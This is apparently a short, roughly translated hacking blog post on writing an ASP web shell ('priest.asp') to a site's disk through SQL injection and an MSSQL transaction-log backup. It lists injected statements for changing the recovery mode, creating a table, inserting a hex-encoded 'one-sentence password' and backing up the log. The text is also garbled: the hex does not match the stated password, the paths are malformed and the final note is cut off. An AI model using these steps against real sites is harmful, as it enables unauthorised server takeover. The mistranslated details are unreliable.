Log manual backup

From: purester Blog (Thanks for authorized publishing by the author)

Today, a website has database permissions,
Using the tool Log backup is always unsuccessful. I manually backed it up...
Many times you cannot trust all the tools ..
The method is as follows:
; Alter database name set recovery full --
; Create table cmd (a image )--
; Backup log database name to disk = c: cmd with init --
; Insert into cmd (a) values (0x700075007200750069007300690074006500 )--
; Backup log database name to disk = D: priest. asp --
; Drop table cmd --
One-sentence password is puruisite (purrist). After hexadecimal conversion, the result is as follows:
Zero x 700075007200750069007300690074006500
NOTE: For the statement type, you must add